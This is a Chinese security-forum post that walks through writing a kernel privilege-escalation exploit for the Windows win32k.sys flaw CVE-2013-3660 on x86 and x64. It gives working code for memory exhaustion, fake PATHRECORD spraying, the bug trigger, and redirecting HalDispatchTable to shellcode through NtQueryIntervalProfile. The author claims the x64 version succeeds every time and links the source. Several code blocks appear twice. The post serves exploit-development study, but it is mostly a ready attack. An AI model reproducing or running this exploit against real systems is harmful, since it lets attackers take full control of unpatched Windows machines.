首页
社区
课程
招聘
[原创]【EXP 编写与分析系列二】Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析
发表于: 2022-1-29 08:53 28614

[原创]【EXP 编写与分析系列二】Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析

2022-1-29 08:53
28614

CVE-2013-3660是来自Google安全团队的研究人员Tavis Ormandy在对win32.sys做内存压力发现的,经过分析,发现是win32k.sys模块的一处本地提权漏洞,他本人也因此获得Pwnie Awards 2013提名。

本文重点、亮点:
1、全网首发成功率100%的x64平台EXP。
针对文章要说明的几点:
1、本文不做基础知识普及,只对核心漏洞代码、利用代码进行说明;
2、阅读本文之前,先阅读x86平台的知识点:
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm
3、不管是在github,还是国内网站,都是针对x86的系统对漏洞进行利用,EXP也仅仅是针对x86,并不能扩展到x64系统上。
4、本文介绍了x64系统上的EXP编写、分析、调试;
5、在x64位操作系统上,现在并没有直接可用的代码,经过研究,本人编写的EXP,成功率达到100%(原来x86下代码成功率为40%左右,x64下没有可直接使用的代码)。
6、本文着重于指导EXP编写,尤其是x64系统下的EXP编写。

原因主要是两点:
1、如果内存分配失败,图1中的new_PathRecord的next指针不会被初始化,从而指向的受污染数据。
2、没有对freelist空闲链表获取的内存节点进行初始化操作。见图2。
读到这里,如果还不理解污染数据是怎么污染池的,没关系,在第4节我会把调试的内存贴出来,就理解怎么污染到数据的了。

图1 new_PathRecord指针未初始化

图2 分配受污染的freelist链表

POC代码关键点,分为三步:
1)、消耗系统内存:

2)、填入垃圾数据:

3)、触发漏洞:


图4 漏洞触发函数调用关系图

注意上图中的红色字体,那是FlattenPath函数的调用关系。

运行上面POC关键代码之前,我们还需要确定一件事情,Points[PointNum].x 和Points[PointNum].y的在内存中实际读取的值,是不是就是x、y的值?我们先把x、y赋值成0x41414141,看看运行结果。
POC运行结果见下图,由图可见,当Points[PointNum].x 等于0x41414141的时,出现异常时,读取的数值实际为0x41414140,被左移了4位。所以,在写地址的时候,要右移4位,才能得到准确的地址。这就了为什么
Points[PointNum].x = (ULONG_PTR)(0x41414141) >> 4,
要右移4位的原因。

图5 POC运行结果

根据3节的分析可知,我们按照2节的代码运行时,堆数据的内容,如下:

图6 POC数据分析图

在上图中,ebp+8,就是PATHRECORD结构体指针,从堆数据内容可以看出,在第二次调用newpathrec出现异常时,堆里面的0xfe580104的next指针指向0x000f0000,而这就是PathRecord申请的堆地址,堆地址的内容就是x、y的数值。如果还不明显,我再放一张图:

原始版的EXP原理图,见下图。

图7 原始版EXP原理图
EXP关键代码是:

为什么代码这么写?见下图:

图8 Exploit利用点
在上图中,结合图7,变量a2就是ExploitRecord,它的prev是&HalDispatchTable[1],所以new_PathRecord->prev就等于&HalDispatchTable[1],再取next(next刚好偏移为0),实际就取到了HalDispatchTable[1]。
由图3、图7,再根据EXP关键代码可知,执行完第41行之后,HalDispatchTable[1]将会被写入new_PathRecord,这个地址是不可控的,但里面的next和prev将会分别是(PPATHRECORD)DispatchRedirect、(PPATHRECORD)&HalDispatchTable[1]。此时, 调用HalDispatchTable[1]函数,将会调用ExploitPathRecord的堆地址,比如是:0xf0000。此时,0xf0000地址的内容已经是ExploitRecord.next指针的内容(PPATHRECORD)DispatchRedirect,这就意味着,next指针既要是一个有效的地址,也要是一个可执行的代码。这就是为什么一些EXP要有这个函数的原因:

当使用x64操作系统的时候,由于只有fastcall,也就是寄存器传参,所以无法再使用上述办法编写EXP,升级后的原理,如下图:

图8 升级版EXP原理图
当把图3中的new_PathRecord写入MmUserProbeAddress之后,就可以通过:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
调用,来实现把申请的堆地址写入HalDispatchTable+8,这时,调用NtQueryIntervalProfile就会调用到shellcode。之前已经把shellcode写入了堆。

在watchdog 函数里面,写 __asm {int 3},然后断下,调试过程如下图:

上面是x86下原始版代码调试过程截图,对于x64下的调试,和x86异曲同工,就没有截图进行说明了。因为从原理也可以看出,其实x64下的调试过程更简单,但是EXP编写的技巧更强,这里,我就介绍下x64平台下编写EXP的技巧,调试的话,就各位自己下来调试了。

通过while循环,找到一个最低的堆地址,然后把这个地址作为长度,分配相应大小的空间。因为
把shellcode函数地址写入HalDispatchTable的代码是:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
前面已经分析过,现在我们结合代码,再来看看。

NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
这里,
假如分配地址是0x1F0000,那么分配的内存大小就是0x1F0000,因为NtReadVirtualMemory,的最后一个参数是读入的实际大小,这儿需要定义成地址大小,那么就把CodeAddr这个地址,作为长度写入了HalDispatchtable+8。
NtReadVirtualMemory->长度写入HalDispatchtable+8->NtQueryIntervalProfile->调用写入的长度(地址)。

第一部分:通过while循环写入垃圾数据:

第二部分:通过看门狗把PathRecord->next替换成ExploitPathRecord

1、写shellcode函数的时候,不能通过全局参数传入函数地址去调用函数。因为汇编下的函数调用,跳转是相对下一条指令地址的跳转,通过memcpy拷贝shellcode函数到堆里面之后,这个偏移就是错误的。所以,只能通过形参把参数传进来,这样传递进来的地址,汇编之后,就会看到,函数的调用,是用类似call[rbx+0x20]这样的调用来实现的,而不是相对偏移实现。
2、修改了MmUserProbeAddress之后,如果没有及时恢复,还继续调试,系统会随时崩溃,这个时候最好是确保后续代码正确性,减少调试时间
3、shellcode函数实际上是仿冒的HaliQuerySystemInformation函数,所以NtQueryIntervalProfile->KeQueryIntervalProfile->HaliQuerySystemInformation
实际是假冒的HaliQuerySystemInformation。NtQueryIntervalProfile第一个参数,就是HaliQuerySystemInformation的第三个参数Buffer取值。
4、现在流行的EXP没有在最后利用、消耗内存的时候加入while循环,导致成功率不足40%,而且没有直接可用的x64平台代码。我在利用、消耗的地方加入了while循环,成功率提升到100%。当然,这看似很简单的操作,需要你去实际调试、总结,才可能想得出办法。
5、NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8)中,CodeAddr在函数之外是堆地址,在作为函数形参的时候是长度。之所以没有直接将shellcode地址作为NtReadVirtualMemory的参数,是因为x64平台的地址太大了,分配不了如此大的空间。实际在EXP编写代码时候,要从最小地址搜索,通过while循环,慢慢增加,搜索到一个最小的可分配的堆地址,然后分配和地址相同大小的空间之后,作为NtReadVirtualMemory第四个参数,就可以把堆地址写入目标地址了。


你下载跟我相同版本的系统,成功率会是100%。

源代码已经上传github,下载地址为:
CVE-2013-3660 x64平台源代码

for (Size = 1 << 26; Size; Size >>= 1) {
               while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
                NumRegion++;
            }
        }
for (Size = 1 << 26; Size; Size >>= 1) {
               while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
                NumRegion++;
            }
        }
PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
        sizeof(PATHRECORD),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
 
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
    PathRecord->next = (PATHRECORD*)(0x41414143);
    PathRecord->prev = (PATHRECORD*)(0x42424244);
    PathRecord->flags = 0;
 
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y = 0;
        PointTypes[PointNum] = PT_BEZIERTO;
    }
PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
        sizeof(PATHRECORD),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
 
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
    PathRecord->next = (PATHRECORD*)(0x41414143);
    PathRecord->prev = (PATHRECORD*)(0x42424244);
    PathRecord->flags = 0;
 
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y = 0;
        PointTypes[PointNum] = PT_BEZIERTO;
    }
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
        {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
        {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }
 
 
ExploitRecord.next = (PPATHRECORD)*DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD)&HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;
ExploitRecord.next = (PPATHRECORD)*DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD)&HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;
// nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,
// 0x40,就是ebp相对于第二个参数的偏移。
// 具体调试结果见EXP调试一节。
VOID  __declspec(naked) HalDispatchRedirect(VOID)
{
    __asm inc eax
    __asm jmp dword ptr[ebp + 0x40]; //  0
    __asm inc ecx
        ...........
}
// nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,
// 0x40,就是ebp相对于第二个参数的偏移。
// 具体调试结果见EXP调试一节。
VOID  __declspec(naked) HalDispatchRedirect(VOID)
{
    __asm inc eax
    __asm jmp dword ptr[ebp + 0x40]; //  0
    __asm inc ecx
        ...........
}
CodeAddr = (PVOID)0x1000;
    DWORD_PTR AllocSize = 0x1000;
    DWORD_PTR ADDR = 0;
    while (true)
    {
        DWORD ret = NtAllocateVirtualMemory((HANDLE)-1,
            &CodeAddr,
            0,
            &AllocSize,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
        if (ret != 0) {
            ADDR = (DWORD_PTR)CodeAddr + 0x1000;
            CodeAddr = (PVOID)ADDR;
            continue;
        }
        else
        {
            break;
        }
    }
 
    NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
    printf("NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n", \
        NtReadVirtualMemoryBuffer, CodeAddr);
 
    printf("ShellCode_END = %p\n", ShellCode_END);
    printf("ShellCode = %p\n", ShellCode);
    printf("%x\n", (PBYTE)ShellCode_END - (PBYTE)ShellCode);
    memcpy(CodeAddr, ShellCode, (PBYTE)ShellCode_END - (PBYTE)ShellCode);
CodeAddr = (PVOID)0x1000;
    DWORD_PTR AllocSize = 0x1000;
    DWORD_PTR ADDR = 0;
    while (true)
    {
        DWORD ret = NtAllocateVirtualMemory((HANDLE)-1,
            &CodeAddr,
            0,
            &AllocSize,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
        if (ret != 0) {
            ADDR = (DWORD_PTR)CodeAddr + 0x1000;
            CodeAddr = (PVOID)ADDR;
            continue;
        }
        else
        {
            break;
        }
    }
 
    NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
    printf("NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n", \
        NtReadVirtualMemoryBuffer, CodeAddr);
 
    printf("ShellCode_END = %p\n", ShellCode_END);
    printf("ShellCode = %p\n", ShellCode);

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-1-29 10:16 被ExploitCN编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 4134
活跃值: (5847)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
6
2022-2-2 14:09
0
游客
登录 | 注册 方可回帖
返回
//